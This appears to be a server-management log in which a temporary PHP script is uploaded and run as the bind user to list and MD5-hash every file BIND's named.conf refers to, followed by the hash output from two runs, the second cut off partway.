MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 18:11:59: Establishing a connection
2026-04-23 18:12:00: 

PUT: /tmp/pkp655146

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 18:12:00: 

runuser -l bind -s /bin/bash -c '/tmp/pkp655146; rm /tmp/pkp655146'

2026-04-23 18:12:00: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= a144f5668b70541e3def64047fe02b6c
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 1c72526f84c81411b499ac602473f56b
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= ccc02fdb93c8840b3a79ed79d7b7ae56
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= 40b7175d2b62682e5c5caf5b86494e7c
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.conf)= f523d5f69970191d187717079c3462cf
MD5(/var/cache/bind/6cba0a95209be6ac4156e85379be0bd6.txt)= 07d2f0972f7571a5c93312f943645728
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.conf)= 6640cf357a97668fe84a5e7953c321a0
MD5(/var/cache/bind/954ebedf55cc0740293342780846a6cd.txt)= 5e87428bc4cd6d266c7a77bc507057f8
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.conf)= fa27de2710b5a788f7b06af0b88b058e
MD5(/var/cache/bind/3d53240606bf6359dd62d3ebf20afc18.txt)= fd137abd12b564c60a25d7c8ee1677ee
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 43e4adb661f18a102a9c2ad1e192e825
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d


2026-04-23 18:14:32: Establishing a connection
2026-04-23 18:14:32: 

PUT: /tmp/pkp181644

#!/usr/bin/php
<?php

// What files are being used by Bind, and what are their contents?
//   php's token_get_all() makes this fairly quick

	$directory = '/etc/bind';
	ob_start('ob_gzhandler');
	parseFile('named.conf');
	ob_end_flush();

function parseFile($filename, $parse = TRUE) {
	global $directory;
	if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
	$hash = md5_file($filename);
	echo "MD5({$filename})= {$hash}\n";

	if ($parse) {
		$content = "<?php\n" . file_get_contents($filename);
		$tokens = token_get_all($content);
		$i = 0;
		parseGroup($tokens, $i);
	}
}

function unQuote($value) {
	$ch = $value[0];
	if ($ch == '"' || $ch == "'") {
		if (substr($value, -1) == $ch) {
			$value = substr($value, 1, -1);
		}
	}
	return $value;
}

function addEntry(&$current) {
	global $directory;
	if (count($current)) {
		switch($current[0]) {
			case 'include':
				$filename = unQuote($current[1]);
				parseFile($filename);
				break;
			case 'directory':
				$directory = unQuote($current[1]);
				break;
			case 'file':
				$filename = unQuote($current[1]);
				parseFile($filename, FALSE);		// Resource File - do not parse
				break;
		}
	}
	$current = [];
}

function ParseGroup($tokens, &$i) {
	$current = [];
	$c = count($tokens);
	while ($i < $c) {
		$token = $tokens[$i];
		if (is_array($token)) {
			$token_name = $token[0];
			$token_data = $token[1];	// [2] = line number
		} else {
			$token_name = -1;
			$token_data = $token;
		}
		switch ($token_name) {
			case -1:
				if ($token_data == ';') {			// end of statement
					$i++;
					addEntry($current);
				} elseif ($token_data == '{') {		// group
					$i++;
					ParseGroup($tokens, $i);
				} elseif ($token_data == '}') {		// end of group
					addEntry($current);
					return;
				}
			case T_OPEN_TAG:
			case T_WHITESPACE:
			case T_COMMENT:
				break;
			case T_DNUMBER:		// 127.0 / .0 / .1
			case T_LNUMBER:
			case T_CONSTANT_ENCAPSED_STRING:
			case T_STRING:
			case T_INCLUDE:
				$current[] = $token_data;
				break;
		}
		$i++;
	}
	addEntry($current);
}

2026-04-23 18:14:33: 

runuser -l bind -s /bin/bash -c '/tmp/pkp181644; rm /tmp/pkp181644'

2026-04-23 18:14:33: 


MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 0ef694a7641428c526ed26173b33ce38
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
